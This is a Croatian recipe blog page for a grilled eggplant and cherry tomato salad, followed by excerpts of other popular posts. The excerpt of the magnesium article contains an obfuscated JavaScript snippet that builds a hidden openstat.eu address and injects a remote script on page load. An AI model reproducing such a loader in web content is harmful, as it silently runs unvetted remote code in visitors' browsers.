SALATA OD GRILANIH PATLIDŽANA I RAJČICA 🍅 🍆 🥗




Salata od grilanih patlidžana i rajčica 




Salata od grilanih patlidžana i rajčica odličan je način da iskoristite sezonsko povrće. Moramo vas upozoriti da biste je mogli, jednom kad je kušate, pripremati iz dana u dan - jer gotova je za samo pola sata, može se poslužiti i topla i hladna i odlično se slaže s jelima s roštilja, pečeno meso i ribu. 




Salata od grilanih patlidžana i rajčica 


Sastojci:

  • 6 manjih patlidžana (oko 800 g)
  • 80 ml maslinova ulja
  • 2 češnja češnjaka, sitno nasjeckana
  • 250 g cherry rajčica, prepolovljenih
  • 3 žlice nasjeckanog svježeg začinskog bilja (bosiljak, menta ili njihova kombinacija)
  • 2 žlice balzamičnog octa
  • sol
  • svježe mljeveni crni papar po ukusu



Priprema:

  1. Patlidžane narežite na kolutiće debljine oko 1,5 cm.
  2. Zagrijte roštilj ili grill tavu te je lagano premažite s malo maslinova ulja.
  3. Kolutiće patlidžana rasporedite na roštilj i premažite ih tankim slojem ulja.
  4. Pecite oko 4 minute sa svake strane, odnosno dok ne omekšaju i dobiju lijepu zlatnosmeđu boju.
  5. Ispečene patlidžane prebacite na dasku pa ih narežite na komade veličine otprilike 4 do 5 cm.
  6. Stavite ih u veću zdjelu ili na pladanj za posluživanje te dodajte rajčice, češnjak i nasjeckano začinsko bilje.
  7. Preostalo maslinovo ulje pomiješajte s balzamičnim octom pa prelijte preko salate.
  8. Začinite solju i paprom te lagano promiješajte kako bi patlidžani ostali u većim komadima.
  9. Salatu poslužite toplu ili ostavite da se ohladi na sobnu temperaturu.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više